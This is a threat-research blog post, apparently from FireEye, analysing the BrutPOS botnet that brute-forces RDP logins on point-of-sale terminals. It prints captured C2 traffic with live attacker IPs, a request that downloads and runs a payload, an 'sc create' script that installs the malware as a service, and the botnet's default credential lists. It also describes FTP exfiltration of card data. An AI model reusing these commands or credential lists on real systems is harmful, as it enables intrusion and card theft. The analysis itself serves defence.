[FireEye]BrutPOS: RDP Bruteforcing Botnet Targeting POS Systems

[igor51]

BrutPOS: RDP Bruteforcing Botnet Targeting POS Systems

There have been an increasing number of headlines about breaches at
  retailers in which attackers have made off with credit card data after
  compromising point-of-sale (POS) terminals. However, what is not
  commonly discussed is the fact that one third of these breaches are a
  result of weak default passwords in the remote administration software
  that is typically installed on these systems. [1] While advanced
  exploits generate a lot of interest, sometimes it’s defending the
  simple attacks that can keep your company from the headlines.

 

In this report, we document a botnet that we call BrutPOS which uses
  thousands of compromised computers to scan specified IP address ranges
  for RDP servers that have weak or default passwords in an effort to
  locate vulnerable POS systems. [2]

 

  BrutPOS

 

It is unclear exactly how the BrutPOS malware is being propagated.
  We have found that the malware is being distributed (along with a
  considerable amount of otherwise unrelated malware) by the site
  destre45[.]com. The attackers may have used a distribution service
  provided by other cybercriminals.

 

When executed, the malware copies itself to:

 

  "%USERPROFILE%\%APPDATA%\llasc.exe"

 

It modifies the Windows Registry
  (HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Run_) so that it
  will be restarted after a reboot.

 

The malware connects to the command and control server (C2) to
  report its status and receives a list of usernames/passwords and IP
  addresses to begin scanning.

 

   

 

  POST /brut.loc/www/cmd.php HTTP/1.1

 

  Content-type: multipart/form-data, boundary=XyEgoZ17

 

  Cache-Control: no-cache

 

  Accept: */*

 

  Accept-Encoding: identity

 

  Connection: Keep-Alive

 

  Accept-Language: ru-RU,en,*

 

  User-Agent: Browser

 

  Host: 92.63.99.157

 

  Content-Length: 212

 

--XyEgoZ17

 

content-disposition: form-data; name="data"

 

{ "bad" : 0, "bruting" : false,
  "checked" : 1, "done" : true, "errors" :
  0, "good" : 0, "goodslist" : "",
  "pps" : 0.0, "threads" : 5, "v" :
  "0.0.0" }

 

HTTP/1.1 200 OK

 

Date: Fri, 20 Jun 2014 13:22:53 GMT

 

Server: Apache/2.2.22 (@RELEASE@)

 

X-Powered-By: PHP/5.3.3

 

Set-Cookie: PHPSESSID=o68hcjj8lhkbprfbdkbj50lrr0; path=/

 

Expires: Thu, 19 Nov 1981 08:52:00 GMT

 

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 

Pragma: no-cache

 

Content-Length: 2056

 

Connection: close

 

Content-Type: text/html; charset=UTF-8

 

{"passwords":"backupexec\r\nbackup\r\npassword\r\nPassword1\r\nPassw0rd\r\nPa$$w0rd1\r\nPass@word\r\nPassword\r\nclient\r\nP@ssw0rd\r\np@$$w0rd\r\npassw0rd\r\np@ssw0rd\r\npa$$w0rd","logins":"backupexec\r\nbackup\r\ndatacard","servers":"[IP
  ADDRESSES REDACTED]","botstart":"1","stamp":1308301912,"newthreads":5,"interval":50}

 

The infected system begins to make connections to port 3389; if the
  port is open it adds the IP to a list of servers to be brute forced
  with the supplied credentials. If the infected system is able to
  successfully brute force an RDP server, it reports back with credentials.

 

In total we found five C2 servers used by the BrutPOS botnet. Three
  of these servers are located on the same network in Russia; one of
  them is located in Iran. Only two of these servers remain active at
  this time.

 
   
     
   
                class="c09_td">
        Russia       class="c09_td_value is-hidden-mml">Russia           class="c09_td">
        THEFIRST-NET       class="c09_td_value is-hidden-mml">THEFIRST-NET           class="c09_td">
        Active       class="c09_td_value is-hidden-mml">Active
   
                class="c09_td">
        Russia       class="c09_td_value is-hidden-mml">Russia           class="c09_td">
        THEFIRST-NET       class="c09_td_value is-hidden-mml">THEFIRST-NET           class="c09_td">
        Active       class="c09_td_value is-hidden-mml">Active
   
                class="c09_td">
        Iran       class="c09_td_value is-hidden-mml">Iran           class="c09_td">
        BSG       class="c09_td_value is-hidden-mml">BSG           class="c09_td">
        Inactive       class="c09_td_value is-hidden-mml">Inactive
   
                class="c09_td">
        Russia       class="c09_td_value is-hidden-mml">Russia           class="c09_td">
        THEFIRST-NET       class="c09_td_value is-hidden-mml">THEFIRST-NET           class="c09_td">
        Inactive       class="c09_td_value is-hidden-mml">Inactive
   
                class="c09_td">
        Germany       class="c09_td_value is-hidden-mml">Germany           class="c09_td">
        DE-23MEDIA       class="c09_td_value is-hidden-mml">DE-23MEDIA           class="c09_td">
        Inactive       class="c09_td_value is-hidden-mml">Inactive

C2	scope="col">Country	scope="col">Network	scope="col">Status
62.109.16.195       class="c09_td_value is-hidden-mml">62.109.16.195
92.63.99.157       class="c09_td_value is-hidden-mml">92.63.99.157
78.154.54.42       class="c09_td_value is-hidden-mml">78.154.54.42
82.146.34.22       class="c09_td_value is-hidden-mml">82.146.34.22
62.113.208.37       class="c09_td_value is-hidden-mml">62.113.208.37

 

 
 Based on the compile times of the samples we analyzed that
  connect to this C2 infrastructure, this botnet was active as of
  February 2014.

 

However, one of the active C2 servers was setup on May 28 and we
  believe that the second was setup in early June. We were able to
  recover information from these two C2 servers in mid-June that allowed
  us to gain a better understanding of this botnet.

 

The attackers are able to control the botnet from a web-based
  administration panel. This panel provides a statistical overview of
  the botnet.

 

        width="886" height="527"
      src="https://www.fireeye.com/content/dam/legacy/blog/2014/07/brutpos1.png"
      alt="brutpos1" class="alignnone size-full wp-image-5907 landscape-lg" />

 

The botnet had a total of 5622 compromised computers under its
  control, however, only a fraction of those systems are active at any
  given time (179 were active when we last checked). This page also
  displays the “current version” of the malware and if an infected
  system checking in reports an earlier version a new executable will be
  pushed down to it.

 

        width="859" height="769"
      src="https://www.fireeye.com/content/dam/legacy/blog/2014/07/brutpos2.png"
      alt="brutpos2" class="alignnone size-full wp-image-5908 landscape-lg" />

 

The attackers are able to view the details of the infected systems
  under their control including the IP address and geographic location
  as well as status of the infected systems’ brute forcing activities
  (bad / good / errors / threads / version) and the timestamp of the
  last connection to the C2. The attackers may also specify commands
  such as “reload” and “delete”.

 

Based on the IP addresses on this page, there are 5622 infected
  systems spread across 119 countries.
 

 
   
     
   
                class="c09_td">
        881       class="c09_td_value is-hidden-mml">881           class="c09_td">
        15.67%       class="c09_td_value is-hidden-mml">15.67%
   
                class="c09_td">
        756       class="c09_td_value is-hidden-mml">756           class="c09_td">
        13.45%       class="c09_td_value is-hidden-mml">13.45%
   
                class="c09_td">
        422       class="c09_td_value is-hidden-mml">422           class="c09_td">
        7.51%       class="c09_td_value is-hidden-mml">7.51%
   
                class="c09_td">
        341       class="c09_td_value is-hidden-mml">341           class="c09_td">
        6.07%       class="c09_td_value is-hidden-mml">6.07%
   
                class="c09_td">
        232       class="c09_td_value is-hidden-mml">232           class="c09_td">
        4.13%       class="c09_td_value is-hidden-mml">4.13%
   
                class="c09_td">
        151       class="c09_td_value is-hidden-mml">151           class="c09_td">
        2.69%       class="c09_td_value is-hidden-mml">2.69%
   
                class="c09_td">
        139       class="c09_td_value is-hidden-mml">139           class="c09_td">
        2.47%       class="c09_td_value is-hidden-mml">2.47%
   
                class="c09_td">
        115       class="c09_td_value is-hidden-mml">115           class="c09_td">
        2.05%       class="c09_td_value is-hidden-mml">2.05%
   
                class="c09_td">
        110       class="c09_td_value is-hidden-mml">110           class="c09_td">
        1.96%       class="c09_td_value is-hidden-mml">1.96%
   
                class="c09_td">
        106       class="c09_td_value is-hidden-mml">106           class="c09_td">
        1.89%       class="c09_td_value is-hidden-mml">1.89%

Country	class="c09_td">Count	class="c09_td">Percentage
Russia       class="c09_td_value is-hidden-mml">Russia
India       class="c09_td_value is-hidden-mml">India
Vietnam       class="c09_td_value is-hidden-mml">Vietnam
Iran       class="c09_td_value is-hidden-mml">Iran
Taiwan       class="c09_td_value is-hidden-mml">Taiwan
Ukraine       class="c09_td_value is-hidden-mml">Ukraine
Turkey       class="c09_td_value is-hidden-mml">Turkey
Serbia       class="c09_td_value is-hidden-mml">Serbia
Egypt       class="c09_td_value is-hidden-mml">Egypt
Mexico       class="c09_td_value is-hidden-mml">Mexico

 

        width="769" height="719"
      src="https://www.fireeye.com/content/dam/legacy/blog/2014/07/brutpos3.png"
      alt="brutpos3" class="alignnone size-full wp-image-5909 landscape-med" />

 

This page lists the ranges of IP addresses that the attackers can
  specify to be scanned for RDP access and brute forced.

 

        width="752" height="452"
      src="https://www.fireeye.com/content/dam/legacy/blog/2014/07/brutpos4.png"
      alt="brutpos4" class="alignnone size-full wp-image-5910 landscape-med" />

 

In total, the attackers specified 57 IP address ranges the majority
  of which (32) are located in the U.S.

 

        width="900" height="302"
      src="https://www.fireeye.com/content/dam/legacy/blog/2014/07/brutpos5.png"
      alt="brutpos5" class="alignnone size-full wp-image-5911 landscape-lg" />

 

The attackers can specify the user names and passwords that the
  infected systems use to brute force available RDP servers. Some of the
  usernames and password indicate that the attackers are looking for
  specific brands of POS systems (such as Micros). [3]

 
   
     
   
                class="c09_td">
        Admin       class="c09_td_value is-hidden-mml">Admin
   
                class="c09_td">
        admin       class="c09_td_value is-hidden-mml">admin
   
                class="c09_td">
        Administrat0r       class="c09_td_value is-hidden-mml">Administrat0r
   
                class="c09_td">
        Administrator       class="c09_td_value is-hidden-mml">Administrator
   
                class="c09_td">
        administrator       class="c09_td_value is-hidden-mml">administrator
   
                class="c09_td">
        backup       class="c09_td_value is-hidden-mml">backup
   
                class="c09_td">
        backupexec       class="c09_td_value is-hidden-mml">backupexec
   
                class="c09_td">
        client       class="c09_td_value is-hidden-mml">client
   
                class="c09_td">
        client1       class="c09_td_value is-hidden-mml">client1
   
                class="c09_td">
        datacard       class="c09_td_value is-hidden-mml">datacard
   
                class="c09_td">
        @dm1n       class="c09_td_value is-hidden-mml">@dm1n
   
                class="c09_td">
        @dmin       class="c09_td_value is-hidden-mml">@dmin
   
                class="c09_td">
        micros       class="c09_td_value is-hidden-mml">micros
   
                class="c09_td">
        p0s       class="c09_td_value is-hidden-mml">p0s
   
                class="c09_td">
        Passw0rd       class="c09_td_value is-hidden-mml">Passw0rd
   
                class="c09_td">
        Passw0rd1       class="c09_td_value is-hidden-mml">Passw0rd1
   
                class="c09_td">
        Password       class="c09_td_value is-hidden-mml">Password
   
                class="c09_td">
        Pass@word       class="c09_td_value is-hidden-mml">Pass@word
   
                class="c09_td">
        password       class="c09_td_value is-hidden-mml">password
   
                class="c09_td">
        Password1       class="c09_td_value is-hidden-mml">Password1
   
                class="c09_td">
        Pa$$w0rd1       class="c09_td_value is-hidden-mml">Pa$$w0rd1
   
                class="c09_td">
        Pa$$word       class="c09_td_value is-hidden-mml">Pa$$word
   
                class="c09_td">
        pa$$word       class="c09_td_value is-hidden-mml">pa$$word
   
                class="c09_td">
        pos       class="c09_td_value is-hidden-mml">pos
   
                class="c09_td">
        P@ssw0rd       class="c09_td_value is-hidden-mml">P@ssw0rd
   
                class="c09_td">
        p@ssword       class="c09_td_value is-hidden-mml">p@ssword
   
                class="c09_td">
        p@ssword1       class="c09_td_value is-hidden-mml">p@ssword1
   
                class="c09_td">
        p@$$w0rd       class="c09_td_value is-hidden-mml">p@$$w0rd

Usernames	class="c09_td">Passwords
admin       class="c09_td_value is-hidden-mml">admin
administrator       class="c09_td_value is-hidden-mml">administrator
backup       class="c09_td_value is-hidden-mml">backup
backupexec       class="c09_td_value is-hidden-mml">backupexec
data       class="c09_td_value is-hidden-mml">data
datacard       class="c09_td_value is-hidden-mml">datacard
manager       class="c09_td_value is-hidden-mml">manager
micros       class="c09_td_value is-hidden-mml">micros
microssvc       class="c09_td_value is-hidden-mml">microssvc
pos       class="c09_td_value is-hidden-mml">pos
class="c09_td_value is-hidden-mml">
class="c09_td_value is-hidden-mml">
class="c09_td_value is-hidden-mml">
class="c09_td_value is-hidden-mml">
class="c09_td_value is-hidden-mml">
class="c09_td_value is-hidden-mml">
class="c09_td_value is-hidden-mml">
class="c09_td_value is-hidden-mml">
class="c09_td_value is-hidden-mml">
class="c09_td_value is-hidden-mml">
class="c09_td_value is-hidden-mml">
class="c09_td_value is-hidden-mml">
class="c09_td_value is-hidden-mml">
class="c09_td_value is-hidden-mml">
class="c09_td_value is-hidden-mml">
class="c09_td_value is-hidden-mml">
class="c09_td_value is-hidden-mml">
class="c09_td_value is-hidden-mml">

 

 

 

 

 

        width="900" height="473"
      src="https://www.fireeye.com/content/dam/legacy/blog/2014/07/brutpos6.png"
      alt="brutpos6" class="alignnone size-full wp-image-5912 landscape-lg" />

 

When an infected system reports back a successful RDP login, the
  attackers store the username/password and IP address of the RDP server
  as well as the IP address of the infected system that successfully
  brute forced it.

 

        width="752" height="452"
      src="https://www.fireeye.com/content/dam/legacy/blog/2014/07/brutpos7.png"
      alt="brutpos7" class="alignnone size-full wp-image-5913 landscape-med" />

 

Of the 60 “good” RDP servers listed by the attackers the majority
  (51) are located in the U.S. The most common username was
  “administrator” (36) and the most common passwords were “pos” (12) and
  “Password1” (12).

 

  Payment Card Theft

 

During our investigation, we discovered another executable that is
  potentially run on systems once credentials are obtained (e.g.
  4aed6a5897e9030f09f13f3c51668e92). This variant is intended to extract
  payment card information stored within running processes. It has two
  distinct code paths depending on its ability to get debug permissions
  by calling RtlAdjustPrivilage(0x14,1,0…). This may be an attempt to
  identify a POS configuration. If it succeeds in getting debug
  permissions, it downloads the executable and executes it:

 

   

 

  GET /brut.loc/www/bin/1.exe HTTP/1.1

 

  Accept-Encoding: gzip

 

  Connection: Keep-Alive

 

  Accept-Language: ru-RU,en,*

 

  User-Agent: Browser

 

  Host: 82.146.34.22

 

 

 

If the malware fails to get debug permissions, it copies itself to
  %WINDIR%\lsass.exe and installs itself as a service. The following
  script is used to create and start the service:

 

   

 

  sc create winserv binpath= C:\WINDOWS\lsass.exe type= own start= auto

 

  sc start winserv

 

  del 1.bat

 

 

 

When running as a service, the program scans the memory of all
  processes with the exception of csrss.exe and conhost.exe for
  potential payment card information. Candidates are verified using the
  Luhn checksum and saved to winsrv.sys. It uploads ‘winsrv.sys’ using
  FTP to the server 62.109.16.195.

 

Before connecting to the FTP server, the implant connects to
  smtp[.]gmail[.]com on port 25 and obtains the victim’s external IP
  address from the EHLO response. winsrv.sys is uploaded to the FTP
  serving using a filename consisting of a capital character followed by
  the IP address. The capital character prefixed to the filename is
  initialized to ‘A’ and is incremented through ‘Z’ for each new file.
  If the IP address isn’t obtained from smtp[.]gmail[.]com, a random
  four digit number is generated.

 

  Attribution

 

While there is insufficient information to determine attribution,
  there is some information which indicates that the attackers are in
  Eastern Europe, probably Russia or Ukraine. In addition to the Russian
  language interface, we recovered web server logs and parsed out the
  six IP addresses that used the administration interface.

 

Two of the IP addresses were from PEOPLE-NET, an ISP in Ukraine. In
  both cases the “User-Agent” indicates that the requests were coming
  from an Alcatel mobile phone running Android:

 

  "Mozilla/5.0 (Linux; Android 4.1.1; ALCATEL ONE TOUCH 5020D
    Build/JRO03C) AppleWebKit/537.36 (KHTML, like Gecko)
    Chrome/32.0.1700.72 Mobile Safari/537.36 OPR/19.0.1340.69721"

 

Another Ukraine IP address, from the UKRTELNET-ADSL ISP, was also
  used. However, the “User-Agent” in this case was FireFox:

 

  "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0)
    Gecko/20100101 Firefox/30.0"

 

There were also connections from an IP range in Russia assigned to
  the network “Macroregional_South” in Volvograd.

 

In addition to these connections there were also connections from
  the U.K. and France, however, these connections were made using VPN
  services provided by atomintersoft.com and vpnlux.net.

 

  Honeypot

 

In order to understand the attacker’s intentions, we decided to
  setup a Windows 2008 R2 Server with POS software and allow the
  attackers to compromise it. In addition to POS software, we also put
  documents with fake credit card information on the Desktop. By
  mimicking the traffic generated by the infected systems under the
  attackers control, we were able send a username and password
  combination of “micros” and “admin” to the C2. We then waited for the
  attackers to connect.

 

We saw the attackers connect to the RDP instance 27 minutes after
  the fake username and password combination were sent to the C2. The
  attackers connected from three IP addresses. One of the IP addresses
  was in the same Ukrainian IP address range assigned to PEOPLE-NET that
  we saw in the C2 logs. Another was the same VPN based in the UK, while
  the third was assigned to INETHN in Honduras.

 

After connecting, the attackers immediately opened the document
  containing fake credit card information, then exited the system
  shortly after. The second access attempt occurred 4 minutes later,
  with little activity. The third access occurred 18 minutes later. The
  attackers, on the third access, then attempted to open the POS
  software; which was unsuccessful. The fourth access happened two
  minutes later, with very little activity. The fifth and final access
  happened approximately 4 hours later, which led the attackers to
  format the drive, thus attempting to wipe data trails.

 

  Conclusion

 

POS systems remain a high priority target for cybercriminals. Based
  on a simple scanning attack, the attackers in this case were able
  leverage their botnet of over 5000 machines in order to acquire access
  to 60 systems in two weeks.

 

While new malware and more advanced attacks are taking place,
  standard attacks against weak passwords for remote administration
  tools presents a significant threat.

 

  Notes

 

1. http://www2.trustwave.com/rs/trustwave/images/2014_Trustwave_Global_Security_Report.pdf

 

2. The BrutPOS malware was initially identified in March 2014 but
  the full scope of the botnet was still unknown at that time.
  http://www.alienvault.com/open-threat-exchange/blog/botnet-bruteforcing-point-of-sale-via-remote-desktop
  and http://deepflash.blogspot.ca/2014/02/rdp-bruterforcer-in-wild.html

 

3. Micros sells POS systems for the retail and hospitality
  industries http://www.micros.com/.

 

  Acknowledgements

 

We would like to thank Josh Gomez for his help and support.

 

  Samples

 

4c3d65c1d8e1d7a2815c0031be41efc7: BrutePOS_Brute

 

7391ff6f34f79df0ec7571f7afbf8f7a: BrutePOS_Brute

 

280d920531ba67d8fd81350877914985: BrutePOS_Brute

 

96487eb38687e84405f045f7ad8a115c: BrutePOS_Brute

 

c1fab4a0b7f4404baf8eab4d58b1f821: BrutePOS_Brute

 

6bcff459fbca8a64f1fd74be433e2450: BrutePOS_Brute

 

daae858fe34dcf263ef6230d887b111d: BrutePOS_Brute

 

31bd8dd48ac0de3d4da340bf29f4d280: BrutePOS_Brute

 

0f2266f63c06c0fee3ff999936c7c10a: BrutePOS_Brute

 

4d4fd96fabb1c525eaeeae8f2652ffa6: BrutePOS_Brute

 

da6d727ddf096b6654406487bf22d26c: BrutePOS_Brute

 

fd58144a4cd354bfd09719ac2ccd3511: BrutePOS_Brute

 

e38e42f20e027389a86d6a5816a6d8f8: BrutePOS_Brute

 

08863d484b1ebe6359144c9a8d8027c0: BrutePOS_Brute

 

4ab3a6394a3a1860a6c52cf92d7f7560: BrutePOS_Brute

 

0e58848506a525c755cb0dad397c1c44: BrutePOS_Brute

 

60c16d8596063f6ee0eae579f201ae04: BrutePOS_Brute

 

b2d4fb4977630e68107ee87299a714e6: BrutePOS_Brute

 

68ba1afd4585b9355cf7009f4604a208: BrutePOS_Brute

 

9d3d769d3feea92fd4794fc3c59e32df: BrutePOS_Brute

 

b63581fcf0ff86bb771c3c33205c78ca: BrutePOS_Brute

 

18eba6f28ab6c088d9fc22b4cc154a77: BrutePOS_Brute

 

4802539350908fd447a5c3ae3e966be0: BrutePOS_Brute

 

cbbb68f6d8eda1071078a02fd79ed3ec: BrutePOS_Brute

 

8ba3c7ccd0a61d5c9a8b94a71ce06328: BrutePOS_Brute

 

9b8de98badede7f837a34e318b12d842: BrutePOS_Brute

 

78f4a157db42321e8f61294bb39d7a74: BrutePOS_FTP_Exfil

 

f36889f30b62a7524bafc766ed78b329: BrutePOS_FTP_Exfil

 

95b13cd79621931288bd8a8614c8483f: BrutePOS_FTP_Exfil

 

4aed6a5897e9030f09f13f3c51668e92: BrutePOS_FTP_Exfil

 

06d8d8e18b91f301ac3fe6fa45ab7b53: BrutePOS_FTP_Exfil

 

faddbf92ab35e7c3194af4e7a689897c: BrutePOS_FTP_Exfil

Source: BrutPOS: RDP Bruteforcing Botnet Targeting POS Systems